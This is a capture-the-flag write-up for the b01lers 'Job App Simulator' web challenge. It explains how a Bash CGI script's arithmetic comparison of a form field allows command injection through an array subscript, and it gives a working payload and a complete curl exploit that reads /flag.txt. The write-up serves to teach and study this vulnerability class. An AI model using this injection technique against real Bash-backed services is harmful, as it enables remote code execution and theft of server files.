Job App Simulator
Job App Simulator
Platform: b01lersc | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: associative_array_subscript_injection, bash_arithmetic_injection, proc_fd_stdout_exfiltration
Summary
Task: an Apache CGI Bash application parses a form and checks graduation_year with [[ ... -lt 2026 ]], causing attacker input to be evaluated as arithmetic. Solution: inject an array subscript with command substitution, print /flag.txt through /proc/$PPID/fd/1, and leave the expression as 2026+a[0] so validation succeeds.
Job App Simulator — b01lers CTF 2026
Description
No official organizer description was included with the provided challenge files.
We are given an Apache CGI Bash application that accepts an application/x-www-form-urlencoded job application form. The goal is to turn the graduation_year validation into code execution and recover the real flag from /flag.txt.
Analysis
The important part of application.sh is the form parsing and the graduation year check:
bash read-only • copy alloweddeclare -A form_data while IFS='=' read -r -d '&' key value && [[ -n "$key" ]]; do form_data["$(urldecode "$key")"]="$(urldecode "$value")" done <<<"$request_body&" if [[ "${form_data[graduation_year]}" -lt 2026 ]]; then echo "Invalid graduation year" return fi
At first glance this looks like a simple numeric comparison, but in Bash the operands of [[ x -lt y ]] are evaluated as arithmetic expressions. That means attacker-controlled input is not treated as a plain string here.
So if we control graduation_year, we can supply an arithmetic expression instead of a normal year. Bash arithmetic also understands array syntax such as a[0], and array subscripts can contain command substitution. This gives a payload shape like:
text read-only • copy allowed2026+a[$(command)0]
If $(command) produces no captured stdout, the expression becomes:
text read-only • copy allowed2026+a[0]
In arithmetic context an unset array element evaluates to 0, so the whole expression becomes 2026, which is not less than 2026. The validation therefore passes.
Why /proc/$PPID/fd/1 works
There is one catch: output written to normal stdout inside $(...) is consumed by the command substitution itself and inserted back into the arithmetic expression, which would corrupt it.
The fix is to write directly to the parent shell's file descriptor 1 instead:
bash read-only • copy allowed/proc/$PPID/fd/1
Inside the injected sh -c, $PPID is the PID of the CGI Bash process running application.sh. Its file descriptor 1 is the CGI response stream, i.e. the HTTP body Apache sends back to us. Writing to /proc/$PPID/fd/1 therefore bypasses command substitution capture and prints data straight into the web response.
That is why this works cleanly:
cat /flag.txt >/proc/$PPID/fd/1sends the flag into the HTTP response- the command substitution itself stays empty
- the arithmetic expression collapses to
2026+a[0]
The START and END markers make the flag easy to locate inside the surrounding HTML.
Solution
Use a valid POST request with all required fields present and inject the working payload into graduation_year:
text read-only • copy allowedgraduation_year=2026+a[$(sh -c 'printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1')0]
When Bash evaluates the comparison, the command substitution executes, the flag is written directly into the parent CGI stdout, and the remaining arithmetic expression still passes the check.
Final curl exploit
bash read-only • copy allowed#!/usr/bin/env bash URL='http://TARGET/cgi-bin/application.sh' curl -s "$URL" \ --data-urlencode 'first_name=A' \ --data-urlencode 'last_name=B' \ --data-urlencode 'email=a@b.cd' \ --data-urlencode 'phone=1234567890' \ --data-urlencode 'resume=hello' \ --data-urlencode 'school=test' \ --data-urlencode 'degree=test' \ --data-urlencode 'graduation_year=2026+a[$(sh -c '\''printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1'\'')0]' \ --data-urlencode 'q1=on' \ --data-urlencode 'q2=on' \ --data-urlencode 'q3=on' \ --data-urlencode 'q4=on' \ --data-urlencode 'q5=on'
The response contains the markers and the flag between them.